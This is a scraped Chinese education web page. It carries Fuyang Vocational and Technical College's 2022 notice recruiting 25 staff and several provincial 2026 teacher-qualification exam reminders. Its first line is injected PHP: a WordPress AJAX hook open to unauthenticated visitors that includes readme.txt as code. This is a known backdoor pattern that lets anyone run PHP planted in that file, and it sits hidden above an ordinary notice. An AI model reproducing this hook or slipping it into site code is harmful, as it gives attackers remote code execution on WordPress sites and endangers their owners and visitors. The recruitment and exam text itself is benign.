if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
安徽阜阳职业技术学院2022年第一批人才招聘25人公告-全国教师资格考试网

安徽阜阳职业技术学院2022年第一批人才招聘25人公告

 

  阜阳职业技术学院为全日制公办普通高等职业院校,1956年建校,前身为阜阳教育学院。现为全国百所国家骨干高职院校之一,是安徽省地方技能型高水平大学建设单位。

  为进一步加强学校师资队伍建设,优化师资结构,根据《中共阜阳市委、阜阳市人民政府关于实施“颍淮英才计划”夯实创新发展人才基础的若干意见》(阜发〔2018〕23号),结合学校实际,现就人才引进工作有关事项公告如下:

  一、引才计划

  经批准,我校2022年第一批计划引进急需紧缺人才25人,具体情况见《阜阳职业技术学院2022年第一批引进急需紧缺人才岗位表》(附件1)。公告同时在阜阳人才工作网、学校官网通知公告栏(http://www.fyvtc.edu.cn/)发布。

  二、引才条件

  (一)报考对象必须符合以下条件:

  1.热爱祖国,有较高的思想政治素质和职业道德水平,自觉遵守国家法律法规,热爱教育事业。

  2.符合我校公布的引才计划中的学历学位或职称要求。“双一流”院校包括一流大学建设高校和一流学科建设高校;国外学校颁发的学历学位证书要有教育部留学服务中心的学历、学位认证。

  3.具有岗位所需的专业、技能条件和适应岗位要求的其他条件等。

  4.年龄要求:博士研究生、副高级职称年龄不超过45周岁(1976年7月1日(含)以后出生);双一流硕士研究生年龄不超过35周岁(1986年7月1日(含)以后出生),报考专职辅导员年龄不超过30周岁(1991年7月1日(含)以后出生)。

  5.岗位所需的其他条件。

  (二)有下列情形之一的人员,不得报考:

  1.不符合人才引进岗位条件要求的人员;

  2.在读的全日制普通高校非应届毕业生;

  3.现役军人;

  4.经政府人力资源社会保障部门认定具有考试违纪行为且在停考期内的人员;

  5.曾因犯罪受过刑事处罚的人员和曾被开除公职的人员、受到党纪政纪处分期限未满或者正在接受纪律审查的人员、处于刑事处罚期间或者正在接受司法调查尚未做出结论的人员;

  6.按照国家、省有关规定,尚在最低服务年限内的机关、事业单位正式在编工作人员;

  7.法律、法规规定不得参加报考或聘用为事业单位工作人员的其他情形人员。

  三、引才待遇

  1.纳入学校事业编制管理,签订聘用合同,专业技术职称聘任、工资及相关待遇按国家、省市有关规定执行。

  2.符合阜阳市引才政策有关规定的,可按规定标准享受市级人才奖补政策,博士研究生可享受学校高层次人才引进待遇及市级人才奖补政策。

  四、引才程序

  (一)报名

  应聘者采取邮箱报名(fyzyrsb@163.com),填写的信息必须与本人实际情况一致、个人条件符合报考的岗位要求。报名时间为公告当日起至2022年6月30日24:00(以收到邮件时间为准)。提供以下材料原件的扫描件(PDF格式):

  1.按规定填写的并有本人签名的《阜阳职业技术学院人才引进资格审查表》;

  2.身份证(正反面);

  3.学历和学位证书、职称证书(尚未取得学历学位的应届毕业生,需提供学生证、在读证明、所在学校盖章的毕业生就业推荐表和本人关于毕业证书专业与报考岗位专业一致的书面承诺材料;持海外学历的,须提供海外学历证书和教育部留学生服务中心出具的学历认证报告);

  4.报考专职辅导员岗位的须提供本人所在党组织出具的中共党员(含预备党员)身份证明(最近6个月内)、优秀学生干部相关荣誉证书或加盖公章的学生干部证明;

  5.属在编正式工作人员的,须按人事管理权限提供单位和主管部门同意报考的证明(附件4)。

  应聘材料以压缩文件的形式发送电子邮件至指定邮箱,邮件主题和文件名均以“岗位代码/专业名称/姓名”格式命名,如“2022rc01/小学教育/张三”。每人只能选择报考一个岗位,一人多报视为报名无效,请不要重复发送邮件。填写表格时勿修改已设置的格式参数,表格上电子照片(标准证件照)处要上传本人近期二寸免冠标准证件电子照片,表格纸型为A4,大小不超过2M;填写内容必须真实有效,资格复审时核对相关证书,聘用后再核对档案。

  (二)资格初审

  1.学校对邮箱收到的报名材料进行初审。资格审查贯穿人才引进全过程,任何环节发现有违纪违规、提供虚假信息、材料不齐或报考人员条件不符合岗位条件要求等情况的,随时取消应聘资格或予以解聘,由此造成的后果,由报考人员本人负责。非考试时间务必保证预留手机号码畅通。

  2.本次人才引进不设最低开考比例,通过资格初审人员少于岗位引进计划数,取消或相应核减该岗位引进计划数。资格初审合格人员名单在学校官网公布。

  (三)资格复审

  1.资格初审合格后,报考人员须按要求参加资格复审并现场采像,不得委托他人代办。资格复审时间地点另行通知,在规定的时间内不参加资格复审视为自动放弃。

  2.资格复审时须提供报名者本人资格初审所提供材料的原件及复印件(本人须在复印件上书写“与原件一致”字样并签署姓名和日期,材料清单见附件3),原件审核后当场返回,复印件学校留存。同时递交与报名资格审查表同版的本人近期二寸免冠标准证件照片2张。

  3.资格复审合格后,发放准考证。

  五、笔试及考核

  (一)笔试

  岗位资格复审合格人数与岗位引进数的比例低于6:1,直接进行专业考核;岗位资格复审合格人数与岗位引进数的比例高于6:1,进行笔试。

  笔试满分为100分,笔试成绩在学校官网通知公告栏公布。按照报考人员笔试成绩从高分到低分顺序,根据引进岗位计划数按1:6比例确定各岗位参加专业考核的人员,同一岗位最后一名如有数名考生笔试成绩相同的,一并确定为参加专业考核人选。

  (二)专业考核

  1.专业考核的形式

  专业考核采用试讲、面试等方式灵活进行,主要考查应聘人员的沟通能力、语言表达能力、专业知识和技能、综合素质及发展潜能等方面的情况。

  2.专业考核成绩的确定

  试讲、面试成绩即为专业考核成绩,满分为100分。为确保新进人员素质,设定专业考核最低分数线为60分。实际进入专业考核人员数少于或等于岗位引进计划数的,专业考核成绩须达到70分以上方可进入体检和考察环节。

  (三)综合成绩

  1.考核成绩采用百分制。如岗位无笔试环节,专业考核成绩即为综合成绩;如岗位有笔试环节,笔试成绩按40%计入综合成绩,专业考核成绩按60%计入综合成绩。

  2.报考人员综合成绩按从高到低排序后,在学校官网公布。综合成绩按四舍五入保留到小数点后两位。如综合成绩相同,则按专业考核成绩排序;如专业考核成绩也相同,则按所在面试评委组所有评委成绩总分(不去最高分和最低分)排序;再相同的,提交由人才引进工作小组集体研究决定。

  根据报考人员综合成绩排名,按1:1的比例等额确定体检、考察对象。

  六、体检和考察

  1.体检工作参照省人力资源和社会保障厅、省卫生厅《关于进一步规范全省事业单位公开招聘人员体检工作的通知》(皖人社秘〔2013〕208号)等有关规定执行。

  2.考察工作根据拟聘用岗位的要求,采取多种形式,全面了解掌握考察对象在政治思想、道德品质、能力素质、遵纪守法、廉洁自律、岗位匹配等方面的情况以及学习工作和报考期间的表现。同时,要核实考察对象是否符合规定的报考资格条件,提供的报考信息和相关材料是否真实、准确,是否具有报考回避的情形等方面的情况。

  3.根据《关于加快推进失信被执行人信用监督、警示和惩戒机制建设的实施意见》(皖办发〔2017〕24号)等文件精神,考察结束时考察对象仍属于失信被执行人的,考察环节不予合格。

  4.因体检、考察不合格出现缺额的,按照规定程序和时限,在同岗位报考人员中,按综合成绩从高分到低分依次等额递补,递补各不超过两次。

  七、聘用公示

  对体检、考察均合格的拟聘用人员名单,在学校官网通知公告栏公示7天。拟聘用人员名单公示结束,不再递补。

  八、签约聘用

  对经公示无异议或公示结果不影响聘用的人员,由学校按规定将拟聘用人员材料报市委组织部、市人社局备案。对违反人才引进规定或未能在2022年12月31日前提供引进岗位所要求的相应层次的学历、学位等证书或其它所需材料的的报考人员,取消其聘用资格。

  根据相关规定,学校与受聘人员签订事业单位聘用合同,确立人事关系。新进人员按规定实行试用期制度,试用期包括在聘用合同期限内。

  为保障学校工作人员的相对稳定性,新进工作人员要求最低服务年限为5年(含试用期)。

  九、其他事项

  1.人才引进符合条件人员可享受阜阳市关于人才引进的相关政策待遇,博士研究生可享受学校高层次人才引进待遇及市人才引进奖补政策。

  2.本次人才引进笔试及专业考核费用由学校承担,考生无需缴纳相关费用。

  3.本次人才引进不指定任何教材、复习资料,也不举办、不委托举办任何形式的辅导和培训活动。

  4.引进岗位要求的学科、专业以国务院学位办《授予博士、硕士学位和培养研究生的学科、专业目录》(2018年更新版本)等权威机构发布的标准认定。

  十、信息发布和咨询监督

  本次人才引进其他相关信息将陆续在我校官方网站上发布。学校纪检监察部门对整个人才引进工作进行全程监督,受理有关举报和申诉。对在工作过程中弄虚作假、作弊的应聘人员,一经查实,将取消其应聘资格。对违反工作纪律的人员,视情节轻重,给予相应处理。

  政策咨询电话:

  0558-2179101、2179011(组织人事部)

  监督举报电话:

  0558-2198283(纪委)

  上述咨询服务和监督举报电话于正常办公时间使用。

  本公告最终解释权归阜阳职业技术学院人才引进工作领导小组办公室。

  特此公告。

  附件:1.阜阳职业技术学院2022年第一批引进急需紧缺人才岗位表.xls

        2.阜阳职业技术学院人才引进资格审查表.doc

        3.资格复审材料清单.doc

        4.同意报考证明.docx

阜阳职业技术学院

2022年6月8日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部